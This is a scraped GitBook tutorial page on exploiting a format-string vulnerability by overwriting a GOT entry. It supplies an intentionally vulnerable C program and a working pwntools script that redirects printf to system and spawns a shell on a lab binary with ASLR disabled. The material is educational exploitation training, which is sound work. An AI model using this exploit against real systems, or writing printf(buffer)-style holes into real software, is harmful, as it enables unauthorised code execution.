arrow-left

All pages
gitbookPowered by GitBook
1 of 2

Loading...

Loading...

Exploiting a GOT overwrite

hashtag
Source

file-archive
3KB
got-overwrite-32.zip
archive
arrow-up-right-from-squareOpen
GOT Overwrite - 32-bit

The very simplest of possible GOT-overwrite binaries.

Infinite loop which takes in your input and prints it out to you using printf - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)

hashtag
Exploitation

As per usual, set it all up

Now, to do the %n overwrite, we need to find the offset until we start reading the buffer.

Looks like it's the 5th.

Yes it is!

Now, next time printf gets called on your input it'll actually be system!

If the buffer is restrictive, you can always send /bin/sh to get you into a shell and run longer commands.

hashtag
Final Exploit

hashtag
64-bit

You'll never guess. That's right! You can do this one by yourself.

hashtag
ASLR Enabled

If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.

#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}
file-archive
3KB
got-overwrite-64.zip
archive
arrow-up-right-from-squareOpen
GOT Overwrite - 64-bit
file-archive
846B
got-overwrite-aslr.zip
archive
arrow-up-right-from-squareOpen
GOT Overwrite - ASLR Exploit Scripts

GOT Overwrite

Hijacking functions

You may remember that the GOT stores the actual locations in libc of functions. Well, if we could overwrite an entry, we could gain code execution that way. Imagine the following code:

char buffer[20];
gets(buffer);
printf(buffer);

Not only is there a buffer overflow and format string vulnerability here, but say we used that format string to overwrite the GOT entry of printf with the location of system. The code would essentially look like the following:

char buffer[20];
gets(buffer);
system(buffer);

Bit of an issue? Yes. Our input is being passed directly to system.

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()
$ ./got_overwrite 

%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070
$./got_overwrite
 
%5$p
0x70243525
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.interactive()
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()